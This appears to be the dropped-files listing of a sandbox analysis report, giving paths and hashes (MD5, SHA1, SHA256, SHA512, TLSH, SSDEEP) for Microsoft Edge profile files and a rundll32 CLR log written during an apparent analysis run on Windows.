T184E0C62C2AEFB41EF0908D3A46FAE0722E49F305110083BD0AC0830CBB0AF009D50EF4
MD5 SHA1 SHA512 TLSH

Submit Download

rundll32.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log
Size 746B
SHA256 ddebb6b1094dbef9e96754a74ebd4761d857864c9bd0b5f20a97259a6d7c8fe0
MD5 768929616b943159a05e24024951fa13
SHA1 56bbd9a00695ab7aa25180fe31dff0c254aa9df3
SHA512 f078e880106f93eb86cf66f77e9425fc3cfb82aaf7c7a354b9d55bb8a6a0d87b4326289f2ab6861dad6122f1fcc560125b813b366f84184ee71ac54078ccbbb5
TLSH
T10F017B703322F5D589032F430C5D6A9507FF0769A664FE1CB96E225ED82A1276B322E3
MD5 SHA1 SHA512 TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 acf2ca2fd979c7d8ae7b74bb0af4308e4abd3e42e1f32fd1a04b0ca1a2b166c8
MD5 80eaf72bc0ff9c89a5c23f07f38ee8f5
SHA1 cbf109666417a1db022b3f49a91481b9755a1b8e
SHA512 b21d0ebff096128eae96a603cc0e96af95cbca34e613c40faa0cc8c5c17961106d997b66011c3051ead599494bd80939479f2526a2e65ff25600b04b19065afd
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7T:fwUQC5VwBIiElEd2K57P7T
TLSH
T15EB3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.12\protocols.json
Size 3KB
SHA256 2edf732da5fd827859e7a1a5b69a4a622cfc416f60a6ae04154d5aad3a1bccec
MD5 5e2067a92dcfcb05537479c384a89725
SHA1 eeed29b07d865ac4d46629fddadad629d0ad4e2b
SHA512 c96c5f9cb7a169ad91b070b567cf9fa8f35951ccc5aa930e97dbeccbeac27f7e9dde1379138c9ba6b0d10339f9cb053ef21f19f06d7560f97d5d23a27c8ed4f6
TLSH
T17D7184B7862088194E360AB4AA0DF10DF93702DF2AF598D3B27D455F1F712BB3946249
MD5 SHA1 SHA512 TLSH

Submit Download

crl-set

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2025.9.4\crl-set
Size 22KB
SHA256 6ddcaf50aaff98b960d067054ce2ce17872ac0719d02abbb7fe56b9eabc818f2
MD5 d01869348d5a783f61f90cbb27b82a78
SHA1 d4eccc91435adaf01f8589cf7f3589cf65425de2
SHA512 7ad7f27d1f559d1f50f1f009518ccca5d6d01696cd70657ad94c9fe37db7bbe06e4afc13170bc5c065cf72d69a92c3df78f637b7faa2f968bb89aa154fe371da
SSDEEP 384:2t71+UygzeWhU6yVS2Ddc0fp/9yYoIJgWUeJuDzeG0LOsr2h9ltQYX9hVPz/HG1y:m4OBwVPDdFhVyYoPWUiuXeG0K5dQYXFr
TLSH
T1B8A2BE9FAF48F112E211523D94245F40DD24D54A23996AB74F943F30ADAE42AAF3CC7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a59087fbda784cffb013f4e2a0bf13a7fca483c48e8a7fc15fa022402eb25d72
MD5 dd54db185d82309b854bfa7657ba4600
SHA1 d01c14e8b4dec85ed2e1671545a868fd7ad4fa95
SHA512 f014ab84dd934b90e006883b74ad349d05f60071e57d2cf0bdf8a9bce118654c92139263e082094b602f6900a71e9a7848754994a2ea88642b2376121b581d07
TLSH
T165D08067354D7815E71F42319413D350576B4072A562D702F314C41D957C4D857D53D7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 39b8627875fea5ac5c5bfb887da12c15116e3fe81f200852c71d5699102c9044
MD5 e3962be2eb3bd350a67bf6309159a1cc
SHA1 c10632202b95ed6f7f4475b6483bf5196e4c5578
SHA512 d12d4acc23b51c071fbc9bf4db2f0575a6b43ec7894b272035e4c01dfce30099cd3ef90a1009dd1e6284cfbcf7a37fd3b79490739946700a2c61ec578374cbe6
TLSH
T173D08C677A0E7815E72F8231A413E360A76B4072A5629702F324C81DA9BC8D85BE63D7
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 73b009b6b795d34a44873d0cd4c9fc52d8374150a9bc460f5ad0f54765bd3f04
MD5 0b4bafd1d565940dbfa6210ff7d0effc
SHA1 93064e97451012c34edcda390ea7bc1054882fa4
SHA512 de66ef83862815f07e687cbe85bc3f5f42d3eb1d71cb4f5bb1b28b92ca54e4f50d0b957fe0d74ef5ed59163af4ee770db619ecf1329857349990a1ab13f97cb1
TLSH
T172E0268405CCD22EDAC8B5876178630C87A1364BA3ECFD0E1700888C3002A90AB83590
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 36e7624b665f1b99e5d25b2fe0c18c44f291c22e92a2a59708c991315520fecf
MD5 4a4340402f9293e69deba74192d42606
SHA1 638fb39a282ba111daf35fb9777578ded0c214b5
SHA512 1969c5ee353166c40b5fcbb650dc775f18098d672c108eee69b603d983f6fc0c13579f60528a9ac674119cd3f6986483bbfb699ecc6ec0b56dcf74845defaea0
TLSH
T106E0268804ECC66EDA84E687936C934C96A03B4AE7DCFD0E174C8C88B002244A7D3591
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 11b75df24d32a68c0962e9e416d38697fae85cde5ff512429d38e627737e311f
MD5 bd87a5381f0eb07c31d1df21aa10c1b7
SHA1 ffe39f1be43d16732dc36a5640cdaf326338a653
SHA512 7ecaa69c91109e6e10456f02c43eb267ea7a4e2c70aa4f8e9fda4d133675515ece1804a5aa6703eaa69713c6885e4d6662c4d0171c820adbd691e092e4d84fef
TLSH
T100616EF8414D4CC1EFA21230E8D19E0AF4F2AFBA99770FC5E55896BE2501B60C14B330
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe60aa7d.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe60aa7d.TMP
Size 3KB
SHA256 0f1b172facbba18f19f7e0b71386fb2305f32578089a3e5064f106a7703e0c78
MD5 472adfcde52654ad000b26e669c434a7
SHA1 ad0fe3aa84203e7e5a7ce2a0196552c8faf0486e
SHA512 ce4a4f771a0db12f311fc8af950ae572764742ba34e35c5b74a0b3fa3c88ca77ce86d9fad70a7ff74bc79a00c7f5cabb52fd29817143a2407cedf6189f0ead4d
TLSH
T1F7616EF8414D4CC0EFA21230E8D19E0EF4F29EBA99770FC5E54856BE2501B60D24B334
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 2a211231002c7cb08a8cc3f47ab4d6f823665947cfcff1b8a6d9aa8efcd877b5
MD5 d75b23482da0203c649d5eff0e2616ee
SHA1 1a95544ec334ff8ec699af3c63ae3447c2cd35e6
SHA512 b303c71be418207ec53467e13c8dc23c7fe26e513348d55be260b7ec1152cc98f1f3ecd9ed09695a8241d972397b77069673c5062c56aa035ea62b9d7133bbc7
TLSH
T1A541CDF7C2E8852E890196F0AB286E2BCE1D0A14832C3D5AC5E4EF1F97E2471E14159E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 af35722850d97324dee877f5311c0861a94724df929fb887bdedaab4083be2d0
MD5 81f2f008c4c61a67c70531bf806cf845
SHA1 7af9d59c6cc48fa3bc8e7276c2578be16517ca7b
SHA512 d6a809907f3bfd5ddfccbdb0134c10f8f16a14cff2fc37abe645260632df84f2d5b302f781cbf8b5b9e63f54a8f152a62458cda121274cc476b79e02148c5d62
SSDEEP 192:sxZ/RjyM/jK1Ml8Mi4/fz/s3OvMvHFqIdpdcHW6+WNGYHj82yIg4J:sxZ/Jq4/fz/s3OvaHFjOHbGRc
TLSH
T1B652F805AA34A977CCCBD209BA557F53D6F90473A1940E44AAFCDA1C00E6AED2207C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 95df74213e5b57c58f2a15c735e0e48c257e845d1cbfd6ba6d2922184facde1e
MD5 6aaeafbf86307bbfc76f32a9cd73cb4e
SHA1 16a62f62a0cb3794b244150061762cb9bc193ae8
SHA512 f9befb3ab8388d9f7da1de478df61ff9b373506d9208ed0f61944c9ea9f7d76e288098ba984a32fa262659af24337c5297bd1a831a8b20dd0dfa157335f3f949
SSDEEP 192:sxZ/RjyM/jK1Ml8UQqi4/fz/sJS6vMvHFqIdpHcHW6+WNGYH5LAyIg5CJ:sxZ/JqL4/fz/sJxvaHFj8HbGSE
TLSH
T1EF52F715AA349977CCCBD209B9517F53D6F944B3A1940E44AAFCDA1C00EABED2207C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 124e55cb63684ac052eb94739e28e9d3750f577b02bda138be80ae17e1260052
MD5 148019b48092ffbb946faec3fe688cc8
SHA1 592c99af034b146d282f03159c4a542eafa38d3d
SHA512 a57ddd635aac0ca28adde92270db39eefd5df9e375eab8e3165e204228f958dd67928bcb98c2f328f432acf31b3e5bb930e51633ba858e462631147ecd0a607d
SSDEEP 192:sxZ/RjyM/jK1Ml8UQqh4/fz/sJS6vMvHFqIdpHcHW6+WNGYH5GAyIg5CJ:sxZ/Jq04/fz/sJxvaHFj8HbGHE
TLSH
T18952F616AA385977CCCBD209F9517F53D6F90473A2940E44AAFCDA1C00E6AED2207C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 a5e24242b7dbd77f4be2e843a5e135290b981bbed3a34d02831520f7919d06fa
MD5 8c7396f6f90af0f9acac1d9fdc0613fd
SHA1 151a0eae49a5b58f0d2c3735256c1f11bb62b80d
SHA512 b0b8e1c3b2a0742c35345464cdda01f5b434aa6048d3a44289c1cb00c50404590eb6698c3fdb11949b8e7315ff5b71cc9c4dee7aada81690e6eb3c3931d34243
SSDEEP 768:+hUZYY57pLuLfgMWvg0Po8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLuCeLlPZ4RBroT:+hUZYYPEfgMWvg0Pou1jaWuCeLZmR60Y
TLSH
T150F2EB3B7C0CCB7E4F844E9DED2A6E8A6DE801CB5A98895447EA844C03C76EF11175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\53f0f5bd-7408-47e8-b6a3-5aa7e69ac4b4\index-dir\temp-index
Size 2KB
SHA256 727eeefdaa22f898d4e4f56ef59213d8bb194a4cba025b7d1c98b272c81d7dcd
MD5 4f9000c0c0f493370386a89c787d543f
SHA1 950b2204c91803ba4002383a9eb6f8449852005d
SHA512 722520f2edac8b3e2b822895fb7a50d5ae9fec447a918eef438605a723cc46ef26f1b573bb50b1176190f10e67f753582823cd811c5c7b98e7439b6d04caf152
TLSH
T1B951C84F4E518E6FD9A842B714B264D037758CCD1B559A2318EC1233ED836692D4B3AE
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe64f08b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\53f0f5bd-7408-47e8-b6a3-5aa7e69ac4b4\index-dir\the-real-index~RFe64f08b.TMP
Size 2KB
SHA256 9af3ffb81ae1205ba5a7d34e021fbd3e42bed672914ead79db2ea7482a3797c6
MD5 4b598e3581abf78538d999ee2d0dda07
SHA1 e5f87d25b4ee1ce3c1bb3f0990eea70f385e396c
SHA512 ba5945fafc20c44ab512be5b2bf8681c102ae4e6042bb1c9cbf577662eb0cc4223cf5d846b11b172ee1dd6cba904b6a8d7bb63b542990eb32ee0905d71c4f860
TLSH
T18F51959A4E428639E9C441770AE3A4B4373929008719BF5374FC9636ACD27AE3D1E2D9
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 371B
SHA256 bbeabe7539c8daa42096e3f9c4e7ff9a98bc6554f255ac3e1db93aeb12d64a6e
MD5 24340392ea11040e0fb537b9dc374405
SHA1 1d1707ed9579e53db0c58066f174aa07079996b4
SHA512 6a7c6a57ad50e915876d51132dd8d78ffa4db5d148f53231876ee04740e4d34772bd59d70d10116a7e23b9372177881860183068775caffee478a2a377f17061
TLSH
T17EE068F32DBB1810AD6BC3D64471A4A4050138A8C64CAD8E00AAB2A310A23002806C22
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 7KB
SHA256 b9389f48f8761f06eab0fd0d7fbe605b33b29bbd0aafd58445ea1fbe63129c44
MD5 969f9e665be566e09095804b29a12fba
SHA1 4756412c0e48588eab1343963340cc5d78aef4ad
SHA512 34717e57846ee50c4acaaec9f52350f1e38b68f7c5e5af692650f05a14cd57893188e3592906ddf86f438551ef07a2332d236c1830702b96791a58ea786b3644
SSDEEP 96:KA1eK2AwZiKCsKHuz6OMEE+OUpl8u+KkL84+gmuRox+UKDKuaG8KLaUogKdOKg:E0VFFjnQzg
TLSH
T18EF1462632BA02113C7D2A4D82D597B78E8271637018646B7BED04B1DE67E21DEFD8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe61490e.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe61490e.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

office_endpoints_list.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Data Protection Lists\2026.6.5.1\office_endpoints_list.json
Size 9KB
SHA256 f0c77aaacfc571e0bc3f51387febe134d991bf3c7f1941af303ed901f288dcd6
MD5 30719122f9edf4e23019a3b74e4f4325
SHA1 6707d64052797b9c5f1a5ccf016e5859c8ef898b
SHA512 ec2e1a33fcd1301f282512ffafb611ea705dc5df09d9aee014276909c1b62b0c73600121d94e9b6d9e160296672b41f2cb8c3ba23f121244ad2ea6521680723c
SSDEEP 96:DdQ/JJvwjyUsrdfsysVsnQfbJNZidYusysXYs2sFsdv12XvlRT07s/DkhcrHPglW:D7d7mfgiIWRcV4sobxezQd1Y
TLSH
T11512BB3BC4B49F229AB060659705E244F13C43BF5600C6FF76B9829C1F366ECA58E1E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 b8a60c078c8c0a676aad4cd0b3a2cc2b8c158589715d72ce420f30eceb3831c9
MD5 ca8e2e9c9bf6e075fc6ed4751c85f118
SHA1 164aaccc08f920a62836ef5c6d73e88a9f95a7d6
SHA512 2d50ab9a67452ceb8be27ac63530d8b72f6a09038caf5c746df121a21678835d61175333607d7ed17ff63380e0400b44a51aaf86ab89cd1e7fabc6239d7f2c10
SSDEEP 384:nTZcIhsNftIuG4nGVzX5od+V8ykVVX9tJrOah/XEKqfPbQEiJflBASKYyBux:Lh4GtOD1/hOah/XERPbQEixlIzBux
TLSH
T1F5927D325838AC779DE6B146F44B72139FBC9067D7986F80DAFC6B1D019B59C030AD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 eb11fb8b66d9ff8a67cad426ea20e7b5c3cd16555c20e8a9a271cdefafdf8a2f
MD5 f11a81e0e4eb0a32de4c895297c49aaf
SHA1 13d0e1b06f4bb033be69817f65472675f20c837c
SHA512 5fab3527785724434ee9e9c56a58034249ab82a62211bb8db2e3fac01b60e70113e979365ed5ec5bc89aed6108f3ac8421b8fa83217c4a66f81f3430660c320c
SSDEEP 768:RFaF5wgeGqiOD1/hOph/XERPbQEixlIzBux:KFkm3MRPbQ14zBs
TLSH
T1C0C23A32D864DA7BADE797C5F64A7257DEF850A3868C9AC0DADC6E0C00975DD030BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 f41b019bc8bcfebde31521d4da89786f71255e359afa0ffd0e1277699cf3fed3
MD5 2b0d48bac27dc9186c71c2ee4977800a
SHA1 cb660ddb9b0018f406494b81115246c5d79fe607
SHA512 43d0cd8d426447283009818a6cc0fb1cfe5f3ff267319a73830d33389d3c8e2ddb0bf0c91a1c6c969e7bd486709a46ccd134f31b08d8f0e1abad76909beaabe1
SSDEEP 768:RFQzEwgEGLiOD1/hOuh/XERPbQEixlIzBux:Az4mYMRPbQ14zBs
TLSH
T18BC23A36D864DA7BADF797C5F60A7257DEF850A3868C9AC0DADC2E0C00975DD030AC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 e61adb6bb1498201c12c9c1f9925970cd3495e183ad3f74d060a400b64ed37f3
MD5 03cf1ace2e678b0eeecad114a8c52fa4
SHA1 f05b0928737c2d8daa35ab807a26b1355800eac8
SHA512 b186f866c5d96d05b8df2e812dc9e551b9a44d168669a4b7e45ee4d964482c78a5245ebd2ccc70a6c38926b3976ecd5e3ae508384f7f73e9e0f83daffe2c9329
SSDEEP 192:yONL61VWQmiUyOXgGX5Obd+j1jzorykaoX/as315U6:yONL6WDgGX5od+V8ykVCG5U6
TLSH
T17302D935A8687CAB8EE2BE4AB48737135F99106BEA552F84D6FC1B1C009765C2347C37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 43cd89edc1f09e79eeaa933c3c8b9db9e0253c5405bf7aefe1208d97f2284ab9
MD5 d37443530441bda7f9f1709bc2484c6f
SHA1 138a47aa50e44116d963b80d352c9d70e0ed8786
SHA512 eff6d53045aea92b158c9997762118cc7ea69174e78f56bc9de822f92bb3be24d05abcc2609701aaae77b7b90eb7a98994a9bf5ecc66b78b762c5a4064ccd964
SSDEEP 192:HONa61CWQmiUyMMXnGX5Obd+j1jzorykaoVX9ySJrOjNjJAqZVU6:HONa6LunGX5od+V8ykVVX9tJrOLhU6
TLSH
T12B121932A468AC6B5EE2B585B48731139FA95167EA496FC0D6FC2B1C00DB5AC130AC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 6b1942ab15c120bf664ebbdc06e890aaa50c481b12e40e5fc0c994683c56a7d3
MD5 91436c54ad7f276a0171b91d650e7512
SHA1 48e71c105bcdf54a5b8d19bf47f11cc21ce96a88
SHA512 0c53fef3071b7805caabba8ba98ac6533a3404d71897623056bc505ecebfd71a56372e0b8ea42f1276588cf3cabcba83ec40ada6d0f4f41db8f3c785cb308afe
SSDEEP 384:n8ZcIhsNfqIuG4nGVzX5od+V8ykVVX9tJrOah/XEKqfPbQEiJflBASKYyBux:qhjGtOD1/hOah/XERPbQEixlIzBux
TLSH
T1E8927D325838AC779DE6B185F44B72139FBC9067D7986F80DAFC6B1D019B59C030AD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

keys.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2026.8.3.1\keys.json
Size 8KB
SHA256 3d6c659801f1686ff3ac64bc3b24b1d0ae76ffdd5f0e9c399ba37d1354a15ab4
MD5 ee666d1b2290efa6cdbc89ea3d317333
SHA1 a8bdd2c1d7e76fef48a735a80524243cd453e0bc
SHA512 7b2b577c9a168f626a687ee158cc20fa0ad0f816fb0583abfe45f89222d1762eb4fc619e029856618479fb6096a02eb2f9934cb46334fa781cea5cbcec992ee9
SSDEEP 192:uNtGbR0m0GflPAyR9Pm4lOvMwkoR9PuGMXcy:O7mZpKjA
TLSH
T17F02B6BF14A41182CE7FC16D9F0774B78FB03C066BCA3A83925BEA49484196D173B5B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nav_config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent\1.0.0.5\nav_config.json
Size 2KB
SHA256 98252dc9f9e81167e893f2c32f08ee60e9a6c43fadb454400ed3bff3a68fbf0d
MD5 499d9e568b96e759959dc69635470211
SHA1 2462a315342e0c09fd6c5fbd7f1e7ff6914c17e6
SHA512 3a5922697b5356fd29ccf8dcc2e5e0e8c1fd955046a5bacf11b8ac5b7c147625d31ade6ff17be86e79c2c613104b2d2aebb11557399084d422e304f287d8b905
TLSH
T16B51DB73D5988C4B9BF4A29CE919A309F11107CF75D48C0B76BE010C1F7757AB5C6588
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 68dd4a6a0b1711003690c2995fd0b77ba3c9ae6c27dd853ff492b52bd7701bc5
MD5 bc900814bda342e30ca622ecf6edf1a1
SHA1 58549077a989da91156012baf9dbfc98ecfe429d
SHA512 c918bfea1c94a06e69e13a1edffa87e69fd698fc8ddf310fc5545d1e2a80613e7617e19110e5496fa91c8e8037bc67a81e300b571bebefb407ab16a384d97fa1
TLSH
T124111FD11C7E1AC6C6BE0E6FA4833AFD40D8A622F4E8307818C8E964927951E2451C7F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 732B
SHA256 cf5e5467ab3de71fcb419acbbb754c3effd5e787864ffa7c767f24ff9bbe5ae3
MD5 87299a8105078d6252386ba9d333ff05
SHA1 c43e027b4174d2ae2c7f138de07b18ac0407148a
SHA512 f6678cce079ae97838bf5aebf3c195a2c82d27dd6546fd7e5428396130ca4bd2c809f2d2edca4f130da479624c3418beffe998ae1a032451706b9a47bad62885
TLSH
T1670110D14C3E1AC3C6B90EAFE04717EC40C89512B0D8387818CDF8A4917A41E345182E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 852B
SHA256 cc631188ae4a22c0621e596be3d4335218373ee3aafe98bb7b213069a0dc3b70
MD5 1a8162cc03c34509f59ea81728419884
SHA1 459f726ff17ed37a212bf5291cc592b4745c3c06
SHA512 129393fb77432dda8e2c4181dc778f609f56572e69213f9f8cffc544b845119929242d41078170b2dc72a678116df340544edb181c2aff069f8cd4ac2a541083
TLSH
T1E8011ED14C7E1AC7CABE0EAEA0872BEC44D86522B098347818CCF864917940E3451C3E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 612B
SHA256 918167fab0fb4435546513252415c1a2e44b6e8e60caf6f31d07587ba0a71ab0
MD5 5ca920f0e1c81dfb329b916e242a4065
SHA1 1d068ad79883fd23c27647c98e761858e46f48cd
